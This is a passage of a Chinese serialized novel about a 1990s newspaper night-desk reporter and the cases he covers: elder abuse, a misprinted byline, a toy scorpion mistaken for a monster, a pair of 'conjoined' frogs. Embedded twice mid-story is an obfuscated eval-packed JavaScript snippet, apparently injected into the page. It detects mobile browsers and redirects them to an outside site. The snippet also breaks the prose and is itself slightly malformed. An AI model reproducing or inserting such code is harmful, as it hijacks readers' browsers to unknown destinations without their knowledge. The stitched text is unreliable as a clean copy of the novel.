“你不完全明白。”陈秉烛看着他，眼神复杂，“有些伤疤，社会宁愿它烂在衣服底下，也不愿意被掀开见光。因为见光就要治，治就要疼，疼就会叫，叫了就不体面。而我们这个社会，最讲究体面。” 稿子第二天见报了。在二版，不大，但很醒目，像衣服上一个醒目的补丁。果然，电话来了。第一个电话是个老太太，声音颤巍巍的：“叶记者，你写得好啊！我儿子也打我，用皮带抽，我不敢说……”说着就哭了，哭声通过电话线传来，湿漉漉的。 第二个电话是个中年男人，声音粗哑：“叶记者，你站着说话不腰疼！你知道照顾老人多累吗？我爹瘫痪在床五年，我天天端屎端尿，工资全搭进去了，老婆跟人跑了，孩子不认我。我有时候烦了，真想掐死他，一了百了——但我忍住了。可你不能要求所有人都忍住。人不是圣人，人是肉做的，肉会累，会疼，会疯！” 叶葆启沉默了。他说得对，人不是圣人。长期照顾病人，身心俱疲，那种疲惫会变成毒素，慢慢侵蚀人的理智。但这能成为暴力的理由吗？就像饥饿能成为偷窃的理由吗？绝望能成为杀人的理由吗？ 他不知道。他只知道，暴力一旦开始，就会自己生长，像野草，像癌细胞。 三天后，老孔所长又来电话了，声音里透着一股疲惫的释然：“叶记者，屈星群的儿子找到了，叫屈超。我们把他叫到所里，教育了一顿。他写了保证书，按了手印，红彤彤的，像血指印。他说：‘我知道错了，再也不敢了。’屈星群也来了，看见儿子就哭，哭完了说：‘孩子知道错了就好，回家吧，爹给你煮面，这回放两个鸡蛋。’” “就这么完了？” “不然呢？”孔所长长长地叹气，那叹气声通过电话线传来，像一阵萧瑟的秋风，“老人不追究，我们能怎么办？关他几天？关完了，回家还得面对。说不定更变本加厉，把气撒在老爷子身上。清官难断家务事，特别是这种血里掺着泪、泪里掺着依赖的家务事。” 挂了电话，叶葆启走到窗前。楼下的街道熙熙攘攘，自行车铃铛响成一片，小贩在叫卖，孩子在追逐。一切如常，仿佛什么都没发生过。 但真的什么都没发生吗？他低头看地板——昨晚他又梦见那摊血了，梦见它从桃花源里一路流过来，流进记者站，流到他脚下。醒来时，他下意识地看了看地板，当然没有血，只有灰尘在晨光中飞舞。 那天晚上回家，他特意绕到菜市场，买了两斤鸡蛋。鸡蛋用草纸包着，一个个圆滚滚的，摸上去还有母鸡身体的余温。 素琴问：“买这么多干嘛？家里还有。” “给小舟吃。”叶葆启说，把鸡蛋一个个拿出来，放在碗柜里，摆得整整齐齐。“让他每天吃一个，长身体，长良心。” 吃饭时，他给小舟剥鸡蛋。煮得正好，蛋白嫩，蛋黄糯。他剥得很仔细，先轻轻敲碎蛋壳，然后一点点撕，连蛋壳上那层薄膜都撕得干干净净。薄膜半透明，对着灯光看，能看见细密的纹路，像地图上的等高线。 “爸爸，”小舟问，嘴里塞着鸡蛋，腮帮子鼓鼓的，“鸡蛋有营养吗？” “有，长高高，长聪明，长好心。” “那我每天吃一个，就能长得像爸爸一样好吗？” 叶葆启的手顿了顿。“好”是什么？是身高？是职位？还是别的什么？ “能。”最后他说，“你会长得比爸爸更好。” 小舟笑了，眼睛弯成月牙。叶葆启看着儿子的笑脸，忽然想：等他老了，小舟会给他剥鸡蛋吗？会这样耐心地，仔细地，连薄膜都撕干净吗？会在他生病时守在床边吗？会在他糊涂时耐心解释吗？ 他不知道。但他知道，他不会因为一颗鸡蛋打儿子，更不会让儿子因为一颗鸡蛋打他。因为他们之间，不应该有债，只应该有爱——如果爱太难，至少有尊重；如果尊重也难，至少有不伤害。 因为他们是父子，是血缘相连的两代人，不是债主和欠债人，不是施暴者和受害者，不是藤蔓和树。他们是两棵独立的树，根或许在地下相连，但枝干各自指向天空。 窗外，月亮升起来了。不是满月，是弯月，像一把镰刀，割开深蓝色的夜空。月光清冷，洒在院子里，给晾衣绳、白菜垛、自行车都镀上一层银边。 明天还有夜班。还会有电话，还会有人来访，还会有新的故事——荒诞的，悲惨的，温暖的，冰冷的。但叶葆启已经准备好了。他准备好记录，准备好倾听，准备好在这个巨大的、复杂的、常常让人无力的世界里，点一盏灯。 虽然微弱，虽然照不了多远，虽然风一吹就摇晃。 但毕竟是一盏灯。 毕竟有人，在黑暗中，划亮了一根火柴。 10. 第010章 署名乌龙 四月，内海的海棠疯了。粉白的花瓣不再是花瓣，是天空溃烂的皮屑，成吨成吨地往下掉。胡同成了河的床，庭院成了云的墓，行人的肩头压着开败的春天。风一吹，那花瓣便发出极细的呜咽，像是无数张被揉碎的新闻纸在哭。 叶葆启的眼皮已经学会在白天自行缝合。他买的那副墨镜，镜片黑得能吸光，戴上去，世界就成了浸泡在福尔马林里的标本。素琴说他“像从敌特电影里爬出来的鬼”，小舟却说爸爸的眼睛变成了“两个很深的矿洞，里面藏着发光的秘密”。 四月的夜班，总带着一股甜腥气。不消生炉子，敞着窗，风灌进来，把海棠的魂也捎上了。那香味不是香的，是甜的，甜里又透着腐败，像隔夜的米酒泼在了热炕上。 四月十二日，叶葆启的左手和解平生的右手第三次在电话线上相遇。电话机是黑的，油腻腻的，听筒被无数只焦急的嘴啃噬得泛白。晚上八点，铃声炸了锅，一个挤着一个，争先恐后要从那塑料壳子里钻出来，变成有形的怨怼。 “同志，电死了！我们这一片，电死了一晚上！” “同志，楼下那歌厅，把人的脑浆子都唱沸了！” “同志，暖气水把我家的梦全淹了，地板底下现在游着鲤鱼！” 叶葆启的钢笔在纸上犁地。字迹歪斜，像被大风刮过的庄稼。每个字都在喘，渗着电话那头传来的汗与泪。解平生的声音则像个疲惫的摆渡人，在怒吼与哀求的河流间来回撑篙。 九点半，门被推开了。先进来的是一团湿漉漉的哭声，然后才是一个被抽了筋骨的女人。她叫万楠楠，她说丈夫的魂被狐狸精勾走了，剩下一个空壳子回家，壳子里还装着别人的香水味。叶葆启给她倒水，水在她手里晃，晃出一圈圈绝望的涟漪。劝了半晌，那哭声才渐渐收住，化作一声叹息，被她攥着，去找妇联那条也许存在的船。 十点，进来个叫温双彬的小伙子，浑身裹着一股劣质烟草的怒气。他从怀里掏出一包烟，摔在桌上，烟盒瘪了，像被踩扁的蟑螂。“假的！肺都要咳出来了！”叶葆启记下店铺的名字，那名字听起来就像个假名。 十一点，铃声终于稀了。解平生把自己摊在椅子上，像一件洗褪了色的旧衣裳。“娘的，今晚这邪性，”他望着天花板，仿佛能看穿楼板，看到天上那轮被海棠花瓣遮蔽的月亮，“像是全城的委屈都约好了，今晚决堤。” “春天嘛，”叶葆启划亮火柴，点燃一支烟。火光照亮他半张脸，另外半张留在黑暗里，成了剪影。“地气返上来了，人心里的虫子也就苏醒了，总要找个缝儿往外钻。” 火柴将熄未熄时，电话又尖叫起来。解平生哀嚎一声，仿佛那铃声是抽在他脊梁上的鞭子。接起来，声音却立刻软了：“李师傅啊，您慢慢讲，我听着呢……” 是个老工人的魂，在电话线里飘着。说厂里的钟表被人偷偷灌了铅，走得特别慢，慢到加班的时间都消失了，换不成钱。叶葆启记录，然后给劳动部门打电话。电话那头的声音官样而冰凉，像从铁皮柜子里发出来的。 处理完，午夜了。两碗方便面在搪瓷缸里胀开，佐着几根咸菜丝。面还没挑起来，敲门声又响了。不重，但很坚持，笃，笃，笃，像心跳。 解平生拉开门。月光和海棠花瓣一起涌进来，簇拥着一个年轻人。西装笔挺，领带打得像一道黑色的伤口，但眼神却是茫然的，与这身装备格格不入。 “记者同志，我的车……没地方去。”他说，声音干涩。 原来是一辆桑塔纳，二手的，却被他擦得锃亮，亮得像一颗巨大的、无处安放的眼泪。存车处的老头说它“太高级”，怕丢，怕赔，怕这钢铁怪物惊了那些自行车和摩托车的梦。那存车处叫“中发”，名字红漆写的，在月光下像两道血痕。 叶葆启觉得这事像一则现代的寓言。他记下“张亮”这个名字，笔尖沙沙响，仿佛在给这个荒谬的夜晚记下注脚。 凌晨一点，世界终于沉到了最底。叶葆启开始织补今晚的窟窿。停电的，扰民的，漏水的……最后是那辆无家可归的桑塔纳。他写下小标题：《轿车太贵了，存车处不给存》。他仿佛看见那辆车，孤零零地停在夜的中央，像一头被现代文明突然吐出来的、不知所措的兽。 写完了，笔一搁，脑子就成了掏空的葫芦。署名时，他的手指自己动了。“叶葆启”三个字后面，跟着的不应是“解平生”么？可笔尖流出来的，却是“孙荣显”。那“光”字的最后一勾，拉得特别长，像一道无意中划开的、幽暗的通道。 他太累了，累得感觉不到错误。稿纸放在桌上，像一片等待被拾走的白色羽毛。 早晨交班，骑车回平安胡同。海棠花瓣积了厚厚一层，踩上去悄无声息，仿佛走在云端，或是走在巨大的、柔软的腐殖质上。素琴在扫院子，扫帚划过地面，发出春蚕噬桑般的沙沙声。 下午两点，电话铃把他从一片黑色的睡眠沼泽里拽了出来。是解平生，声音被焦急拧成了麻花：“葆启！看报！二版！我们的车……不对，我们的稿子！” 叶葆启的心脏猛地一缩，像被一只冰冷的手攥住了。他找到报纸，二版，那则寓言还在。可署名的位置，“叶葆启”消失了，取而代之的是“孙荣显”。那三个字印得方正正，黑黝黝的，像三个陌生的墓碑，冷冷地宣示着一件他毫无记忆的事实。 血液轰的一声冲上头顶，又迅速退去，留下冰冷的眩晕。他手指摩挲着那名字，纸粗糙的质感无比真实。难道是梦游？还是这疲惫的躯体里，藏着一个连自己都不知道的叛徒？ 原稿找到了。办公室的日光灯管嗡嗡作响，照着那张稿纸最下方。铁证如山。那确确实实是他的字迹，“解平生”后面，跟着刺眼的“孙荣显”。他盯着那笔迹，忽然觉得陌生。那一勾，那一撇，仿佛有了自己的意志，在某个他意识松懈的深夜，完成了一次悄无声息的叛变。 “是我……”他喉咙发干，“是我写错了。昨晚，魂好像溜出去了一半。” 解平生长出一口气，那口气里五味杂陈，有释然，也有残余的惊悸。这时，孙荣显捏着报纸进来了，脸上挂着梦游者才有的困惑。“这……这稿子有我什么事？我昨晚明明在梦里跟人下棋来着。” 真相大白，一场乌龙。孙荣显笑得浑身发抖，说叶葆启这是“把自家的羊羔子抱到别人圈里去了”。叶葆启说要分稿费，孙荣显摆手：“这飞来横名，烫手，我不要。你得请客，给我这受了惊吓的魂儿压压惊。” 陈秉烛主任知道了，把他叫去。主任的办公室总是烟雾缭绕，像某个神秘的祭坛。陈主任的脸在烟雾后若隐若现：“葆启啊，名字是记者的魂儿，丢不得。”他吐出一个烟圈，烟圈缓缓上升， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904162|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变形，“我年轻时，把‘副市长’写成‘副市场’，好家伙，秘书打电话来问，说我们领导是不是改行管秤杆子和白菜梆子了。” 叶葆启想笑，却没笑出来。他感到一种深切的羞耻，不是为错误，而是为自己那曾经溜走的、不受控的一部分灵魂。 晚上，烧烤摊的炭火红得狰狞，像大地咧开的嘴。羊肉串在火上嗞嗞尖叫，油滴下去，腾起一小簇一小簇妖异的火苗。啤酒是黄色的，泛着沫，喝下去像吞进一口口发酵了的月光。 解平生讲他打乒乓球，把对手的名字喊错，结果“那球就跟长了眼睛似的，专往我拍子够不着的地方钻”。孙荣显说他曾把“婚姻美满”写成“婚姻满美”，“读者来信问，是不是两口子日子过得太满，美得溢出来了？” 笑声在夜风里飘散。叶葆启听着，心里的疙瘩被这烟火气慢慢熨着。他看着同事们的脸，在跳动的火光下忽明忽暗，忽然觉得，错误就像这炭火，灼人，但也聚拢了人，烤熟了人情。 骑车回家。夜风把海棠最后的香气送来，那香气现在闻着，不再是甜腥，而是一种宽恕的味道。素琴在灯下织毛衣，毛线是淡蓝色的，在她手指间流淌，像一条宁静的小河。 “解决了？”她没抬头，手指穿梭不停。 “解决了。”叶葆启坐下，拿起那只织了一半的袖子，“是我魂儿不守舍，写跑了偏。” “你的魂儿啊，总惦着外面那些沟沟坎坎，”素琴笑了笑，眼角的细纹像温柔的水波，“回家就好。” 叶葆启摸着那柔软的毛线，忽然洞悉了某种联系。“素琴，你说我们这工作，像不像在织一件看不见的衣裳？电话线是经线，那些诉说是纬线。我们熬夜，记录，就是想把破了的窟窿补上，把断了的线头接起。可有时候，太累了，手一抖，就把图案织错了，甚至把自己的名字也织丢了。” 素琴抬起头，灯光在她眸子里映出两盏小小的、温暖的灯火。“织错了，就拆了重织。线团还在你手里，针还在你手上，怕什么？就是别把自己也给织丢了。” 夜深了。叶葆启躺在妻子身边，听着她均匀的呼吸，像听着世界上最安稳的潮汐。他闭上眼，这次，黑暗不再是虚无，而是饱含墨水的、肥沃的土壤。他也许还会犯错，名字也许还会在某个困顿的深夜走失，但总有一个地方，能让走失的魂儿认路回家。 第二天，他在采访本崭新的一页上写下： “一九九三年四月十三日。夜班。海棠乱坠。笔叛逃，将‘平生’写作‘荣显’。陈主任言：心若正，谬误亦成花纹。平生、荣显未怪，反以烧烤暖我。顿悟：新闻如素琴织衣，我辈持笔如持针，于茫茫寒夜中，编织暖意。针脚难免歪斜，只要线不断，布不裂，总可拆解重来。此夜，魂归位。” 他合上本子，那“位”字的最后一笔，写得格外沉稳有力。 窗外，海棠依旧疯魔般地开着，泼洒着它用不完的粉白。而电话铃声，再一次响起，穿透花瓣与夜色，执着地呼唤着记录者。 叶葆启拿起听筒，声音平静：“你好，夜间记者站。” 听筒里传来新的哭声、怒骂或迷茫。他准备好纸笔，也准备好那枚或许会再次颤抖、但绝不会真正丢失的针。长夜漫漫，他要继续编织下去，把那件名为“人间”的百衲衣，一针一线，织得再密实些，再暖和一些。 11. 第011章 蝎子精的骗局 七月流火。 内海的夏天闷得像蒸笼。河的水面上浮着一层油光，在太阳底下泛着七彩，像倒了的调色盘。知了疯了似的叫，从清晨叫到黄昏，声音嘶哑，像在喊“热啊——热啊——”。胡同里的槐树叶子蔫蔫地耷拉着，蒙着一层灰。 叶葆启值白天的班。办公室的窗户大开着，电扇吱呀呀地转，吹出来的风是热的，裹着油墨味和汗味。他穿着汗衫，后背湿了一片，贴在椅子上，一起身，吱啦一声。 中午十二点，电话响了。曹东方接的——他今天值班。听了几句，曹东方的眼睛亮了：“真的？多大？……二十厘米？我的天！您等等，我记一下。” 挂了电话，曹东方兴奋地说：“葆启，有个读者说捉了只大蝎子，二十厘米长，稀罕物！让咱们去看看！” “二十厘米？”叶葆启放下笔，“那不成了蝎子精了？” “就是蝎子精！老人家说的。”曹东方翻出记录本，“住李楼街，姓刘，退休工人。说中午在屋后砖堆里翻出来的，用砖头砸死了，装玻璃瓶里了。” 叶葆启来了兴趣。二十厘米的蝎子，确实罕见。他在公交公司时，有个司机老家是山东的，说过山里见过大蝎子，但也就十厘米左右。二十厘米，快成精了。 “叫摄影部来，拍个照。”叶葆启说。 曹东方打电话给摄影部。接电话的是沈岳，报社有名的“大师”，拍照片讲究，但听说有稀罕物，立马答应来。 叶葆启又给陈秉烛打电话汇报。陈秉烛在开会，让文书转告：“注意安全，蝎子有毒。” 一点钟，刘大爷来了。真是顶着烈日来的，骑着一辆老式二八自行车，后座绑着个布包。到报社门口时，浑身湿透，像刚从水里捞出来。 叶葆启和曹东方下楼接。刘大爷七十多岁，瘦，但精神，眼睛很亮。见了他们，从布包里小心翼翼捧出个玻璃瓶——装罐头的那种，广口，用纱布扎着口。 “记者同志，你们看！”刘大爷声音洪亮。 叶葆启凑近看。瓶子里果然有只蝎子，很大，黑褐色，尾巴翘着，毒针清晰可见。最惊人的是长度——从螯钳到毒针末端，真有二十厘米左右。 “我的妈呀。”曹东方倒吸一口凉气，“这要蜇一下，还不得死人？” “死了，我砸死了。”刘大爷得意地说，“一砖头下去，不动了。” 这时，沈岳背着相机包来了。一看蝎子，也吃了一惊：“这么大？不会是假的吧？” “假不了！”刘大爷把瓶子放桌上，“我从砖堆里翻出来的，还动呢！” 消息传得很快。保卫科的老王来了，收发室的小李来了，门卫张大爷也来了，连做卫生的赵大姐都探头看。小小的办公室挤满了人，都围着看“蝎子精”。 “我活六十岁，没见过这么大的蝎子。”张大爷啧啧称奇。 “会不会是外国的？走私来的？”老王猜测。 “也可能是变异了，受辐射了。”小李说得更玄乎。 刘大爷更得意了，一遍遍讲发现经过：中午吃完饭，去屋后倒垃圾，看见砖堆里有东西动。扒开一看，是只大蝎子。他赶紧回家拿火钳，夹住，装瓶子里，一砖头砸死。 “为民除害！”刘大爷总结道。 沈岳开始拍照。他离得远远的，手有点抖——怕蝎子突然复活。闪光灯啪啪地闪，蝎子在强光下更显狰狞。 叶葆启看着瓶子里的蝎子，总觉得哪里不对劲。颜色太均匀了，像涂了漆。动作……虽然说是死了，但姿势太僵硬，像标本。 “刘大爷，我能看看吗？”他问。 “看吧，死透了。” 叶葆启用镊子拨了拨蝎子的腿。有弹性，但不是生物的那种弹性，更像……橡胶。 他又把蝎子翻过来。肚子下面有个圆形的吸盘样的东西，浅灰色，像胶皮。 “这是啥？”曹东方也注意到了。 “不知道。”刘大爷凑近看，“可能是肚子？蝎子肚子长这样？” 叶葆启用剪刀尖捅了捅吸盘。软的，确实是胶皮。他心跳加快了，一个猜测在脑子里形成。 “张老师，再拍几张特写。”他对沈岳说，然后对刘大爷笑笑，“大爷，这蝎子太稀罕了，我们得研究研究。您先坐，喝口水。” 刘大爷坐下，曹东方给他倒了茶。叶葆启拿着瓶子和剪刀，走到里屋。 关上门，他用剪刀剪吸盘的一角。嗤——很轻松就剪开了，断面露出海绵状的填充物。 果然是假的。 他又剪开蝎子的身体。塑料壳，里面是棉花和铁丝骨架。螯钳是塑料的，毒针是细铁丝。 一只做工精细的橡胶玩具蝎子。 叶葆启站在那儿，看着桌上这堆“零件”，心里五味杂陈。荒唐，可笑，又有点悲哀。刘大爷顶着烈日送来，那么自豪，那么兴奋，结果是个玩具。 他想起小时候，也干过类似的事。把橡皮泥捏成虫子，放在女同学铅笔盒里，吓得她哇哇哭。那是恶作剧，是孩子的顽皮。 可刘大爷七十多岁了。他是认真的，真以为捉到了稀罕物。 叶葆启整理好情绪，拿着“零件”回到外屋。所有人都看着他。 “刘大爷，”他尽量温和地说，“这蝎子……是假的。” 屋里安静了。电扇吱呀呀的声音格外刺耳。 “假的？”刘大爷站起来，脸涨红了，“怎么可能！我亲手从砖堆里翻出来的！” “您看。”叶葆启把剪开的蝎子递过去，“塑料壳，棉花，铁丝。是玩具。” 刘大爷接过，翻来覆去地看。手开始抖，嘴唇也在抖。看了好半天，他突然一屁股坐下，眼泪流出来了。 “我……我被骗了？”他喃喃道。 “谁骗您了？”曹东方问。 “砖堆……那砖堆是隔壁老王家拆房剩下的。”刘大爷抹了把脸，“他家孙子，小胖，十岁，淘气……肯定是他放的！” 大家明白了。孩子恶作剧，把玩具蝎子藏在砖堆里。老人当真了，还当稀罕物送来报社。 沈岳脸都绿了：“我拍了半天，是玩具？” “对不起张老师，浪费您时间了。”叶葆启道歉。 “没事没事。”沈岳摆摆手，苦笑着收拾相机，“也算是奇遇，拍玩具蝎子精。” 刘大爷还在哭，像个受委屈的孩子。叶葆启蹲下身，拍拍他的肩：“刘大爷，别难过。这说明您眼神好，警惕性高。要真是蝎子，您这一发现，是为民除害。” “可我……我丢人了。”刘大爷抽泣着，“大老远跑来，还惊动了你们……” “不丢人。”叶葆启真诚地说，“您有这份心，想把稀罕事告诉大家，这是好事。只是孩子淘气，跟您开了个玩笑。” 好说歹说，刘大爷情绪才平复。叶葆启和曹东方送他下楼，帮他绑好自行车。临走时，刘大爷握住叶葆启的手：“叶记者，对不住啊，给你们添麻烦了。” “不麻烦，您慢骑。” 看着刘大爷佝偻的背影消失在烈日下，叶葆启心里沉甸甸的。 回到楼上，沈岳已经走了，留下一句话：“照片我洗出来，当个纪念。”其他人也散了，各忙各的。 曹东方苦笑着整理记录：“白忙活一场。” “也不算白忙。”叶葆启坐下，“至少知道了一件事。” “什么事？” “人老了，会变回孩子。”叶葆启说，“刘大爷那股认真劲儿，那种相信奇迹的天真，不就像孩子吗？” 曹东方想了想，点点头。 下午，叶葆启把这件事写成了一篇小稿，没点名，只说一位老人发现“稀罕物”，实为玩具，提醒市民遇到类似情况先辨别真伪。稿子写得很温和，没嘲讽，反而赞美了老人的热心。 写完，他看看表，四点。该下班了。 骑车回家，太阳还毒着。柏油路面软软的，轮胎压上去，留下浅浅的印子。街边的冷饮摊围满了孩子，举着冰棍，吃得满脸都是。 回到平安胡同，素琴正在洗衣服。大盆里泡着床单，她蹲在那儿，用力搓着，后背湿透了。 “回来了？”素琴回头，“缸里有绿豆汤，冰镇的。” 叶葆启舀了一碗，咕咚咕咚喝下去，凉丝丝的，从喉咙一直凉到胃里。 “今天遇见个好玩的事。”他把蝎子精的事说了。 素琴听了，笑出了声：“这老爷子，真可爱。” “是啊，可爱。”叶葆启蹲下，帮她搓床单，“可我心里不是滋味。他那么认真，那么兴奋，结果是个玩笑。那种失望，我能感觉到。” 素琴停下手，看着他：“葆启，你心太软。这世上，真真假假的事多了。你当记者的，要学会分辨，但别把什么都往心里去。” “我知道。”叶葆启说，“可我就是……忍不住想，刘大爷回家后，会怎样？会不会好几天睡不着，觉得自己丢人了？” “那你就写篇温暖的稿子，让老爷子看了高兴。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904163|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “写了，明天登。” 床单洗好了，两人一起拧干。水哗哗地流下来，在院子里积成一小滩，很快被太阳晒干。 小舟放学回来了，书包一扔，就要往外跑。 “去哪儿？”素琴问。 “跟二胖玩！”小舟头也不回。 “先写作业！” “玩一会儿就写！” 话音未落，人没影了。 素琴摇头：“这孩子，越来越皮。” 叶葆启笑了：“皮点好，有活力。” 晚饭是凉面。过水面条，黄瓜丝，芝麻酱，蒜泥，拌在一起，清爽可口。小舟吃了两大碗，满头大汗。 “爸爸，”小舟边吃边说，“我们班王小虎，今天带了个玩具蜘蛛，吓哭了好几个女生。” “然后呢？” “老师没收了，还让他写检查。”小舟得意地说，“我就不会，我带的都是正经玩具。” 叶葆启和素琴对视一眼，都笑了。孩子就是孩子，恶作剧是天性。 吃完饭，叶葆启辅导小舟写作业。语文作业是造句，用“发现”造句。小舟写：“我发现了一只蚂蚁，它正在搬米粒。” “不错。”叶葆启表扬。 “爸爸，”小舟抬起头，“那个老爷爷发现的蝎子，是假的。那他是不是撒谎了？” 叶葆启想了想：“不是撒谎。他是真以为发现了稀罕物，只是弄错了。” “那弄错了，算错误吗？” “算。但只要不是故意的，而且愿意改正，就不算大错。”叶葆启摸摸儿子的头，“就像你做算术题，算错了，改过来就好。” 小舟似懂非懂地点点头，继续写作业。 夜深了。叶葆启躺在床上，却睡不着。窗外有月光，很亮，照得屋里朦朦胧胧的。素琴睡得很熟，发出均匀的呼吸声。 他想起刘大爷流泪的样子。那眼泪，不是因为被骗，是因为“丢人”。老人活了一辈子，讲究个脸面。兴冲冲地去报喜，结果闹了笑话，觉得在年轻人面前丢了份儿。 可这有什么丢人的呢？谁没犯过错？谁没天真过？ 叶葆启又想起自己刚当记者时，也闹过笑话。有一次去采访养鸡专业户，人家说“产蛋率百分之九十五”，他听成了“产蛋率百分之九十五斤”，还认真地问：“一斤鸡蛋有几个？”把人家问懵了。 回来写稿时才发现错误，臊得脸通红。陈秉烛知道后，没批评，反而说：“葆启，你这错误犯得好。说明你在思考，在琢磨。记者最怕的不是犯错，是麻木。” 是啊，最怕麻木。刘大爷不麻木，他还有好奇心，还有分享欲。这多珍贵。 叶葆启翻了个身，看向窗外。月亮很圆，像个银盘。明天稿子登出来，刘大爷看到了，会怎么想？会生气吗？会难过吗？ 他希望不会。他希望刘大爷能一笑置之，说：“嘿，老了老了，还当了回主角。” 想着想着，他睡着了。 第二天，稿子登出来了。在二版右下角，不大，但很醒目。叶葆启特意多买了一份报纸。 上午，他给李楼街街道办打电话，托他们转告刘大爷：稿子登了，写得很好，大家都夸他热心。 下午，街道办回电话了，是个女同志：“叶记者，刘大爷看了报纸，高兴着呢！拿着报纸到处给人看，说‘我上报纸了！’” 叶葆启松了口气：“他没生气？” “没有！乐得合不拢嘴！还说，等孙子放学，要好好问问，为啥骗爷爷。” 挂了电话，叶葆启笑了。笑得眼睛有点湿。 原来，老人要的不是真相，是关注，是认同，是“我还重要”的感觉。 一只玩具蝎子，给了他这些。 值了。 窗外，知了还在叫。一声声，嘶哑，但执着。 就像人。哪怕老了，哪怕会闹笑话，也要叫，也要说，也要证明自己还活着。 这就是生活。荒诞，但真实；可笑，但温暖。 叶葆启拿起笔，在采访本上写下一句话： “1995年7月10日。蝎子精事件。真与假不重要，重要的是那颗依然好奇、依然想分享的心。老人如此，记者亦如此。” 写完，他合上本子。 电话响了。新的一天，新的故事，又开始了。 他会继续接电话，继续记录，继续在真真假假的世界里，寻找那些真诚的心。 因为，这才是记者该做的事。 12. 第012章 连体青蛙的秘密 八月的内海像一锅煮沸的黏粥。柏油路面被晒出了魂魄，软塌塌地趴着，每一步都能听见“滋啦”的哀鸣。狗躺在槐树荫下，舌头垂出一尺长，喘气声里带着铁锈味。卖冰棍的推着裹了棉被的自行车，吆喝声被热气蒸得变形：“冰棍——小豆冰棍——”尾音拖得老长，像垂死之人的叹息。 叶葆启在报社值白班。电扇开到三档，扇叶疯转，吹起的却是滚烫的风。稿纸在桌上扑簌簌地颤抖，像要自己飞走。他索性脱了汗衫，光着膀子，只穿一条洗得发白的大裤衩，汗水还是顺着脊沟往下淌，在藤椅上积出一小洼。 “这鬼天气，”曹东方骂骂咧咧，“阎王爷在人间支了口油锅。” “心静自然凉。”叶葆启摇着蒲扇，扇出湿热的风。 话是这么说，心里却像塞了团蘸饱煤油的棉花，一点就着。太热了，热得人骨头缝里都冒着焦躁，热得连思想都凝成了黏稠的琥珀。 午后一点，电话铃炸响。曹东方接了，听筒贴在耳朵上，眼睛渐渐亮起来——那光亮叶葆启认得，跟上回蝎子精事件时一模一样。 “葆启！稀罕事又上门了！”曹东方捂着话筒，声音压得低低的，像是怕惊扰了什么，“茂仁毛纺厂，工会的小王干事打电话来说他们厂职工发现连体青蛙！” “连体青蛙？”叶葆启蒲扇停在半空，“两个长一块儿了？” “说是大青蛙背着小青蛙，分不开，在水池子里游！” 叶葆启的脊梁骨一下子挺直了。连体动物罕见，青蛙连体更是稀罕中的稀罕。这要是真的，够上省报甚至国家级科普刊物了。他仿佛已经看见稿子变成铅字，散发着油墨香，在读者手中传阅。 “叫摄影部，我跑现场。”他说。 曹东方打电话。叶葆启套上汗衫——汗衫湿漉漉贴着皮肉，像第二层皮肤。他背起相机包，包里装着海鸥DF-1，还有两卷乐凯黑白胶卷。摄影部沈岳中暑了，这活儿自然落在他肩上。 司机老赵已经在楼下吉普车里等着了。那辆北京212吉普老得掉了牙，帆布篷被晒得发白，车厢里弥漫着汽油、汗水和旧皮革混合的怪味。叶葆启一屁股坐进去，座椅烫得他差点跳起来。 “叶记者，去哪儿？”老赵拧钥匙，引擎咳嗽几声才喘上气。 “茂仁毛纺厂，北郊。” 车动了。车窗全摇下来，灌进来的风却是滚烫的，裹挟着尘土和柏油融化的焦臭。街道空旷得像被遗弃的战场，只有知了在树上集体嚎叫，那声音尖锐而持久，刺得人耳膜生疼。 茂仁毛纺厂蹲在内海北郊，像个衰老的巨兽。红砖围墙被岁月啃噬得斑驳，铁大门锈出了一幅抽象画。门卫室旁聚着七八个职工，正围着一个小水池指指点点，神情肃穆如朝圣。 见报社来人了，工会干事乔欣迎上来，脸上每道皱纹里都藏着兴奋：“记者同志！可把你们盼来了！快来看，稀罕物啊！” 水池两米见方，水泥砌的边沿长满青苔。水是浑浊的绿，漂着絮状藻类。池底积着厚厚的淤泥，几丛水草像溺水者的头发般摇曳。 “在哪儿？”叶葆启问。 “在泥里猫着呢，得请出来。”小乔拿来一根长竹竿，探进池底小心搅动。 淤泥翻涌，水面冒出一串串腐臭的气泡。搅了约莫一刻钟，一个年轻职工突然喊道：“出来了！出来了！” 叶葆启凑近池沿。果然，一只拳头大小的墨绿色青蛙正驮着一只淡绿色的小青蛙，在水里缓缓游动。大青蛙蹬腿，小青蛙也蹬，动作协调得如同一个整体。它们的腹部紧紧贴在一起，仿佛被某种透明的胶质黏连着。 “奇了！”小乔也伸长脖子，“真长一块儿了？” “我们盯了三天了，死活分不开。”小乔说，“用竹竿捅，用网子捞，纹丝不动。” 叶葆启端起相机，取景框里，两只青蛙在浑浊绿水中游弋，像某种远古的水生连体神祇。他按下快门，闪光灯炸出一团白光。青蛙受惊，猛地扎进水草丛。 “捞上来仔细瞧瞧？”年轻职工跃跃欲试。 “捞，轻点儿。”叶葆启说。 那小伙子脱了鞋，卷起裤腿，露出黝黑的小腿。他蹚进水池，水刚没过大腿。他屏住呼吸，双手慢慢合拢——捧起来了。 真捧起来了。青蛙在他掌心挣扎，但两只确实没有分离。 